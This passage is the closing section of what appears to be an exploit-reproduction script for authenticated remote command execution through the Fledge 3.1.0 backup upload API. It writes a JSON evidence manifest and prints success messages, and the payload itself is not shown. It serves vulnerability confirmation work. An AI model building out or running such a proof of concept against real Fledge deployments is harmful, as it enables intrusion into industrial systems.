  "entrypoint_detail": "Authenticated Fledge POST /fledge/backup/upload production handler",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["docker", "rsyslog", "Fledge 3.1.0 core", "Fledge SQLite storage service"],
  "target_identity": {
    "repository_url": "https://github.com/fledge-iot/fledge",
    "commit_sha": commit,
    "target_digest": target_digest,
    "runtime_digest": runtime_digest,
    "platform": "linux",
    "architecture": "x86_64" if platform.machine() in ("x86_64", "amd64") else platform.machine()
  },
  "proof_artifacts": proof,
  "artifact_sha256": digests,
  "notes": "Confirmed in two fresh vulnerable service instances; a normal archive and two fresh same-version shutil-copy controls did not execute the marker command."
}
out.write_text(json.dumps(data, indent=2, sort_keys=True) + "\n")
PY
python3 -m json.tool "$REPRO_DIR/runtime_manifest.json" >/dev/null

SUCCESS=1
echo "[+] CONFIRMED: authenticated remote OS command execution through Fledge 3.1.0 backup upload API"
echo "[+] Vulnerable markers: $(cat "$EVIDENCE/vulnerable_1_marker.txt"), $(cat "$EVIDENCE/vulnerable_2_marker.txt")"
echo "[+] Benign and same-version patched controls reached the endpoint without marker execution"
exit 0
